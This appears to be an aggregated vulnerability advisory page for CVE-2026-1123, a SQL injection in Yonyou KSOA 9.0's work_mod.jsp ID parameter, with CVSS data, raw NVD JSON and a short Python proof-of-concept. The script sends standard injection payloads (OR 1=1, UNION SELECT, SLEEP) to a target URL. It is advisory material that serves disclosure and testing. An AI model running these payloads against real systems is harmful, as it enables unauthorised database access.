Security Vulnerability Report
中文
CVE-2026-1123 CVSS 7.3 HIGH

CVE-2026-1123

Published: 2026-01-18 15:15:51
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in Yonyou KSOA 9.0. Affected is an unknown function of the file /worksheet/work_mod.jsp of the component HTTP GET Parameter Handler. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:yonyou:ksoa:9.0:*:*:*:*:*:*:* - VULNERABLE
Yonyou KSOA 9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-1123 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/work_mod.jsp # Parameter: ID def exploit_sqli(target_url, payload): """ SQL Injection PoC for CVE-2026-1123 This demonstrates the vulnerability in Yonyou KSOA 9.0 """ target = f"{target_url}/worksheet/work_mod.jsp" params = {'ID': payload} try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-1123.py <target_url>") print("Example: python cve-2026-1123.py http://vulnerable-server:8080") sys.exit(1) base_url = sys.argv[1] # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' AND 1=1--" ] print(f"[*] Testing CVE-2026-1123 on {base_url}") print(f"[*] Target endpoint: /worksheet/work_mod.jsp") print("-" * 50) for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = exploit_sqli(base_url, payload) print(f"Response length: {len(result)} bytes")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1123", "sourceIdentifier": "[email protected]", "published": "2026-01-18T15:15:51.167", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Yonyou KSOA 9.0. Affected is an unknown function of the file /worksheet/work_mod.jsp of the component HTTP GET Parameter Handler. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en Yonyou KSOA 9.0. Se ve afectada una función desconocida del archivo /worksheet/work_mod.jsp del componente HTTP GET Parameter Handler. Dicha manipulación del argumento ID conduce a una inyección SQL. El ataque puede lanzarse de forma remota. El exploit está disponible públicamente y podría ser utilizado. Se contactó al proveedor con antelación sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yonyou:ksoa:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "16092315-0438-4B91-A293-8CE177EAD656"}]}]}], "references": [{"url": "https://github.com/LX-66-LX/cve/issues/9", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://vuldb.com/?ctiid.341715", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.341715", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https ... 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